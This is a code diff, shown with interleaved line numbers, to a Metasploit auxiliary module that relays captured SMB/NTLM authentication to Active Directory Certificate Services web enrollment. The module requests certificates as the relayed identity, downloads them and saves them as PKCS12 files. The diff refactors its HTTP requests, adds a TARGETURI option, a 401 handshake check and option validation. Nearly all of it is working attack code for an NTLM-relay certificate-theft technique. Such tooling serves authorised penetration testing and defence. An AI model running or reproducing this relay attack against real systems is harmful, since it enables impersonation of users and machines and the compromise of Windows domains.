5
5
6
6
class MetasploitModule < Msf ::Auxiliary
7
7
include ::Msf ::Exploit ::Remote ::SMB ::RelayServer
8
+ include ::Msf ::Exploit ::Remote ::HttpClient
8
9
9
10
def initialize
10
11
super ( {
@@ -29,7 +30,7 @@ def initialize
29
30
[
30
31
OptEnum . new ( 'MODE' , [ true , 'The issue mode.' , 'AUTO' , %w[ ALL AUTO QUERY_ONLY SPECIFIC_TEMPLATE ] ] ) ,
31
32
OptString . new ( 'CERT_TEMPLATE' , [ false , 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ] , conditions : %w[ MODE == SPECIFIC_TEMPLATE ] ) ,
32
- OptString . new ( 'CERT_URI ' , [ true , 'The URI for the cert server.' , '/certsrv/' ] )
33
+ OptString . new ( 'TARGETURI ' , [ true , 'The URI for the cert server.' , '/certsrv/' ] )
33
34
]
34
35
)
35
36
@@ -39,27 +40,59 @@ def initialize
39
40
]
40
41
)
41
42
42
- deregister_options (
43
- 'RPORT' , 'RHOSTS' , 'SMBPass' , 'SMBUser' , 'CommandShellCleanupCommand' , 'AutoVerifySession'
44
- )
43
+ deregister_options ( 'RHOSTS' )
45
44
end
46
45
47
46
def relay_targets
48
47
Msf ::Exploit ::Remote ::SMB ::Relay ::TargetList . new (
49
- : http,
50
- 80 ,
48
+ ( datastore [ 'SSL' ] ? :https : : http) ,
49
+ datastore [ 'RPORT' ] ,
51
50
datastore [ 'RELAY_TARGETS' ] ,
52
- '/certsrv/' , # TODO: this needs to be pulled from the datastore
51
+ datastore [ 'TARGETURI' ] ,
53
52
randomize_targets : datastore [ 'RANDOMIZE_TARGETS' ]
54
53
)
55
54
end
56
55
57
- def run
56
+ def initial_handshake?
57
+ res = send_request_raw (
58
+ {
59
+ 'rhost' => datastore [ 'RELAY_TARGET' ] ,
60
+ 'method' => 'GET' ,
61
+ 'uri' => normalize_uri ( target_uri ) ,
62
+ 'headers' => {
63
+ 'Accept-Encoding' => 'identity'
64
+ }
65
+ }
66
+ )
67
+ disconnect
68
+
69
+ res &.code == 401
70
+ end
71
+
72
+ def check_options
58
73
if datastore [ 'RHOSTS' ] . present?
59
74
print_warning ( 'Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.' )
60
75
end
61
76
77
+ case datastore [ 'MODE' ]
78
+ when 'SPECIFIC_TEMPLATE'
79
+ if datastore [ 'CERT_TEMPLATE' ] . nil? || datastore [ 'CERT_TEMPLATE' ] . blank?
80
+ fail_with ( Failure ::BadConfig , 'CERT_TEMPLATE must be set in AUTO and SPECIFIC_TEMPLATE mode' )
81
+ end
82
+ when 'ALL' , 'AUTO' , 'QUERY_ONLY'
83
+ unless datastore [ 'CERT_TEMPLATE' ] . nil? || datastore [ 'CERT_TEMPLATE' ] . blank?
84
+ print_warning ( 'CERT_TEMPLATE is ignored in ALL, AUTO, and QUERY_ONLY modes.' )
85
+ end
86
+ end
87
+ end
88
+
89
+ def run
90
+ check_options
62
91
@issued_certs = { }
92
+ unless initial_handshake?
93
+ fail_with ( Failure ::UnexpectedReply , "#{ datastore [ 'RELAY_TARGET' ] } does not appear to have Web Enrollment enabled on #{ target_uri } " )
94
+ end
95
+
63
96
start_service
64
97
print_status ( 'Server started.' )
65
98
@@ -102,13 +135,13 @@ def create_csr(private_key, cert_template)
102
135
103
136
def get_cert_templates ( relay_connection )
104
137
print_status ( 'Retrieving available template list, this may take a few minutes' )
105
- req = relay_connection . request_raw (
138
+ res = send_request_raw (
106
139
{
140
+ 'client' => relay_connection ,
107
141
'method' => 'GET' ,
108
- 'uri' => normalize_uri ( datastore [ 'CERT_URI' ] , 'certrqxt.asp' )
142
+ 'uri' => normalize_uri ( target_uri , 'certrqxt.asp' )
109
143
}
110
144
)
111
- res = relay_connection . send_recv ( req , relay_connection . timeout , true )
112
145
return nil unless res &.code == 200
113
146
114
147
cert_templates = res . body . scan ( /^.*Option Value="[E|O];(.*?);/ ) . map ( &:first )
@@ -145,10 +178,11 @@ def retrieve_cert(relay_connection, relay_identity, cert_template)
145
178
request = create_csr ( private_key , cert_template )
146
179
cert_template_string = "CertificateTemplate:#{ cert_template } "
147
180
vprint_status ( 'Requesting relay target generate certificate...' )
148
- req = relay_connection . request_cgi (
181
+ res = send_request_raw (
149
182
{
183
+ 'client' => relay_connection ,
150
184
'method' => 'POST' ,
151
- 'uri' => normalize_uri ( datastore [ 'CERT_URI ' ] , 'certfnsh.asp' ) ,
185
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI ' ] , 'certfnsh.asp' ) ,
152
186
'ctype' => 'application/x-www-form-urlencoded' ,
153
187
'vars_post' => {
154
188
'Mode' => 'newreq' ,
@@ -157,10 +191,10 @@ def retrieve_cert(relay_connection, relay_identity, cert_template)
157
191
'TargetStoreFlags' => 0 ,
158
192
'SaveCert' => 'yes' ,
159
193
'ThumbPrint' => ''
160
- }
194
+ } ,
195
+ 'cgi' => true
161
196
}
162
197
)
163
- res = relay_connection . send_recv ( req , relay_connection . timeout , true )
164
198
if res &.code == 200 && !res . body . include? ( 'request was denied' )
165
199
print_good ( "Certificate generated using template #{ cert_template } and #{ relay_identity } " )
166
200
add_cert_entry ( relay_identity , cert_template )
@@ -170,15 +204,15 @@ def retrieve_cert(relay_connection, relay_identity, cert_template)
170
204
end
171
205
172
206
location_tag = res . body . match ( /^.*location="(.*)"/ ) [ 1 ]
173
- location_uri = normalize_uri ( datastore [ 'CERT_URI' ] , location_tag )
207
+ location_uri = normalize_uri ( target_uri , location_tag )
174
208
vprint_status ( "Attempting to download the certificate from #{ location_uri } " )
175
- req = relay_connection . request_cgi (
209
+ res = send_request_raw (
176
210
{
211
+ 'client' => relay_connection ,
177
212
'method' => 'GET' ,
178
213
'uri' => location_uri
179
214
}
180
215
)
181
- res = relay_connection . send_recv ( req , relay_connection . timeout , true )
182
216
info = "#{ relay_identity } Certificate"
183
217
certificate = OpenSSL ::X509 ::Certificate . new ( res . body )
184
218
pkcs12 = OpenSSL ::PKCS12 . create ( '' , '' , private_key , certificate )
@@ -191,17 +225,4 @@ def retrieve_cert(relay_connection, relay_identity, cert_template)
191
225
print_good ( "Certificate for #{ relay_identity } using template #{ cert_template } saved to #{ stored_path } " )
192
226
certificate
193
227
end
194
-
195
- def normalize_uri ( *strs )
196
- new_str = strs * '/'
197
-
198
- new_str = new_str . gsub! ( '//' , '/' ) while new_str . index ( '//' )
199
-
200
- # Makes sure there's a starting slash
201
- unless new_str [ 0 , 1 ] == '/'
202
- new_str = '/' + new_str
203
- end
204
-
205
- new_str
206
- end
207
228
end
0 commit comments